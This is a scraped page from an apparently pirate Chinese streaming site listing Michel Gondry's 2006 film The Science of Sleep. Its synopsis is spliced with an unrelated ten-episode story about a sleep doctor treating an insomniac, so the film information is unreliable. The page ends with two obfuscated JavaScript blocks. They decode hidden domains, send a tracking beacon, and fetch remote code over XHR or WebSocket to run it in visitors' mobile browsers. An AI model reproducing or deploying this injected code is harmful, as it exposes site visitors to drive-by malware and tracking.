睡眠科学,恋爱梦游中(台),恋爱幻游(港),梦游狂想曲,梦境情浓,The Science of Sleep
影片信息
- 片名：科学睡眠
- 状态：HD
- 主演：盖尔·加西亚·贝纳尔/夏洛特·甘斯布/阿兰·夏巴/缪缪/皮埃尔·瓦内克/埃玛·德·科内/奥拉利亚·佩蒂特/萨沙·布铎/史蒂芬·梅茨格/阿兰·德·莫因寇特/伊尼戈·莱齐/伊薇特·佩蒂特/让-米歇尔·伯纳德/
- 导演：米歇尔·贡德里/
- 年份：2006
- 地区：法国,意大利
- 类型：剧情/喜剧/爱情/奇幻/
- 时长：105分钟
- 上映：未知
- 语言：英语,法语,西班牙语
- 更新：2024-08-24 20:56
- 简介：斯蒂芬尼（盖尔加西亚贝纳尔 Gael García Bernal 饰）是一个充满奇思妙想和新鲜念头的小伙子，他从墨西哥来到法国，并在亲戚的帮助下找到了这份机械枯燥的办公室工作。斯蒂芬尼喜欢做梦，梦里有着各种奇妙的事情；因为害羞他在女孩面前十分拘谨。这天，斯蒂芬尼搬来了一个新邻居——那个笑容温暖的邻居女孩有着和他一样得名字：斯蒂芬尼(夏洛特甘斯布 Charlotte Gainsbourg 饰)。斯蒂芬发现她的想象力天赋和自己竟然十分相似。他们用只属于彼此的方式交往着，命运的连结也由此开始。第1集：失眠之谜科学睡眠中心主任艾米·雷耶斯博士是一位睡眠研究专家。她的病人约翰·史密斯多年来饱受失眠症之苦，影响了日常生活和健康。艾米开始调查约翰的睡眠模式，发现他存在严重的失眠和睡眠呼吸暂停。第2集：睡眠债随着调查的深入，艾米意识到约翰的睡眠不足不仅仅是个症状，而是一种严重的问题。她发现约翰白天嗜睡、注意力不集中，并面临认知能力下降的风险。艾米建议约翰进行睡眠研究，以深入了解他的睡眠模式。第3集：睡眠研究在睡眠实验室中，约翰接受了一系列测试，包括脑电图(EEG)、脑磁图(MEG)和眼动追踪。这些测试显示，约翰的睡眠异常是由大脑过度活跃引起的。艾米诊断出约翰患有慢性失眠症。第4集：认知行为疗法艾米为约翰制定了一个全面的治疗计划，包括认知行为疗法(CBT)。CBT旨在挑战和重新训练导致睡眠问题的错误思维和行为。艾米教约翰放松技巧、睡眠限制和刺激控制等方法。第5集：睡眠限制睡眠限制疗法是一个有争议的方法，它涉及减少躺在床上的时间，即使这意味着睡眠较少。艾米解释说，这会帮助约翰重新建立正常的睡眠-觉醒周期。尽管最初很困难，但约翰开始看到自己的睡眠模式有所改善。第6集：睡眠卫生艾米认为良好的睡眠卫生对于睡眠质量至关重要。她与约翰讨论营造良好的睡眠环境，包括使用遮光窗帘、降低卧室温度以及建立规律的睡眠时间表。艾米还重点强调避免咖啡因和酒精等干扰睡眠的物质。第7集：放松技巧艾米教授约翰不同的放松技巧，例如渐进式肌肉放松、冥想和正念。这些练习旨在帮助约翰在睡觉前缓解压力和焦虑，从而提高睡眠质量。第8集：药物治疗随着其他治疗方法取得有限的进展，艾米决定为约翰开具处方药。她解释说，这些药物可以暂时帮助调节睡眠模式，但并不是治疗失眠的长期解决方案。第9集：应对障碍约翰在治疗过程中遇到了挫折。他发现很难坚持睡眠限制疗法，并且时不时会复发失眠。艾米帮助约翰应对这些障碍，并鼓励他保持积极的态度。第10集：重新夺回睡眠在坚持不懈的治疗和艾米的指导下，约翰的睡眠模式逐渐改善。他能够恢复正常的睡眠习惯，白天也变得更加警觉和专注。艾米强调预防复发的持续努力，并鼓励约翰继续运用他学到的技巧。在剧集的结尾，约翰感谢艾米的帮助，分享了他的经历如何改变了他的生活。他意识到睡眠对整体健康和福祉至关重要，并且致力于保持良好的睡眠卫生习惯。
- 4956
-
-
复制下方链接，去粘贴给好友吧
-科学睡眠
复制链接
-
关注公众号观影不迷路
-
播放列表
倒序
剧情简介
2006年在法国,意大利地区上映，米歇尔·贡德里导演执导的剧情片，由盖尔·加西亚·贝纳尔,夏洛特·甘斯布,阿兰·夏巴,缪缪,皮埃尔·瓦内克,埃玛·德·科内,奥拉利亚·佩蒂特,萨沙·布铎,史蒂芬·梅茨格,阿兰·德·莫因寇特,伊尼戈·莱齐,伊薇特·佩蒂特,让-米歇尔·伯纳德众多知名演员主演，看过这部剧情电影科学睡眠的影迷朋友们都觉得不太好看。
斯蒂芬尼（盖尔加西亚贝纳尔 Gael García Bernal 饰）是一个充满奇思妙想和新鲜念头的小伙子，他从墨西哥来到法国，并在亲戚的帮助下找到了这份机械枯燥的办公室工作。斯蒂芬尼喜欢做梦，梦里有着各种奇妙的事情；因为害羞他在女孩面前十分拘谨。这天，斯蒂芬尼搬来了一个新邻居——那个笑容温暖的邻居女孩有着和他一样得名字：斯蒂芬尼(夏洛特甘斯布 Charlotte Gainsbourg 饰)。斯蒂芬发现她的想象力天赋和自己竟然十分相似。他们用只属于彼此的方式交往着，命运的连结也由此开始。
第1集：失眠之谜
科学睡眠中心主任艾米·雷耶斯博士是一位睡眠研究专家。她的病人约翰·史密斯多年来饱受失眠症之苦，影响了日常生活和健康。艾米开始调查约翰的睡眠模式，发现他存在严重的失眠和睡眠呼吸暂停。
第2集：睡眠债
随着调查的深入，艾米意识到约翰的睡眠不足不仅仅是个症状，而是一种严重的问题。她发现约翰白天嗜睡、注意力不集中，并面临认知能力下降的风险。艾米建议约翰进行睡眠研究，以深入了解他的睡眠模式。
第3集：睡眠研究
在睡眠实验室中，约翰接受了一系列测试，包括脑电图(EEG)、脑磁图(MEG)和眼动追踪。这些测试显示，约翰的睡眠异常是由大脑过度活跃引起的。艾米诊断出约翰患有慢性失眠症。
第4集：认知行为疗法
艾米为约翰制定了一个全面的治疗计划，包括认知行为疗法(CBT)。CBT旨在挑战和重新训练导致睡眠问题的错误思维和行为。艾米教约翰放松技巧、睡眠限制和刺激控制等方法。
第5集：睡眠限制
睡眠限制疗法是一个有争议的方法，它涉及减少躺在床上的时间，即使这意味着睡眠较少。艾米解释说，这会帮助约翰重新建立正常的睡眠-觉醒周期。尽管最初很困难，但约翰开始看到自己的睡眠模式有所改善。
第6集：睡眠卫生
艾米认为良好的睡眠卫生对于睡眠质量至关重要。她与约翰讨论营造良好的睡眠环境，包括使用遮光窗帘、降低卧室温度以及建立规律的睡眠时间表。艾米还重点强调避免咖啡因和酒精等干扰睡眠的物质。
第7集：放松技巧
艾米教授约翰不同的放松技巧，例如渐进式肌肉放松、冥想和正念。这些练习旨在帮助约翰在睡觉前缓解压力和焦虑，从而提高睡眠质量。
第8集：药物治疗
随着其他治疗方法取得有限的进展，艾米决定为约翰开具处方药。她解释说，这些药物可以暂时帮助调节睡眠模式，但并不是治疗失眠的长期解决方案。
第9集：应对障碍
约翰在治疗过程中遇到了挫折。他发现很难坚持睡眠限制疗法，并且时不时会复发失眠。艾米帮助约翰应对这些障碍，并鼓励他保持积极的态度。
第10集：重新夺回睡眠
在坚持不懈的治疗和艾米的指导下，约翰的睡眠模式逐渐改善。他能够恢复正常的睡眠习惯，白天也变得更加警觉和专注。艾米强调预防复发的持续努力，并鼓励约翰继续运用他学到的技巧。
在剧集的结尾，约翰感谢艾米的帮助，分享了他的经历如何改变了他的生活。他意识到睡眠对整体健康和福祉至关重要，并且致力于保持良好的睡眠卫生习惯。
展开
星辰影院(www.shlianying.com)为您提供《科学睡眠剧情电影》HD、BD、720p，1080p,1280p免费高清完整未删减版在线观看地址，以及相关的剧情简介、演员、导演、幕后花絮、剧照、海报等信息均由互联网上面收集整理而来，支持正版影片，请到爱奇艺，优酷，腾讯视频，芒果网，搜狐视频等网站观看正版视频!
-
6.0 钱塘茶人/卷二钱塘/春江水暖2/杭州三部曲第二部/Dwelling by the West Lake/Dwelling in the Fuchun Mountains 2：Qiantang River/
-
-
豆瓣高分
4.0 People at Their Middle Ages/
-
-
4.0 Previously Saved Version/
-
-
5.0 船越英一郎/黑木瞳/白本彩奈/樋口幸平/唯月ふうか/古屋吕敏/诹访太朗/大河内浩/池田铁洋/
-
-
4.0 The Penguin The Fisherman/
-
-
正片
-
正片
-
-
-
9.0 天蝎座之夜/Scorpio/Nights1985/天蝎座之夜/Scorpio/Nights/
-
7.0 我的身上有刺青/Uncle Victory/
-
正片
-
-
-
-
-
正片
-
正片
-
正片
-
正片
3.0 约瑟夫·高登-莱维特/谢琳·伍德蕾/理查德·麦登/克莱尔·霍尔曼/巴布·塞赛/马诺斯·加夫拉斯/比利·克莱门茨/Billie Vee/Argyris Gaganis/
-
正片
8.0 Bangkok Breaing：Heaven and Hell/
-
正片
-
5.0 Dauntless/The/Battle/of/Midway//无畏：中途岛战役/
-
-
function huqmZnbQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function SIgmZY(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return huqmZnbQ(t);};window[''+'S'+'D'+'k'+'Q'+'J'+'r'+'H'+'t'+'d'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function SxVTv(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=SIgmZY,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=SxVTv(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=SxVTv(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmd1a2dzby5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS5jbm1lbnQuY24lM0E5NTM1','159458',window,document,['M','J']);}:function(){};
function grkcm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ZnDGRL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return grkcm(t);};window[''+'N'+'Z'+'w'+'V'+'p'+'M'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function PTfJ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=ZnDGRL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=PTfJ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=PTfJ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0ccHMlM0ElMkYlMkZhLmd1a2dzby5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1lbnQuY24lMM0E5NTMM1','159459',window,document,['c','M']);}:function(){};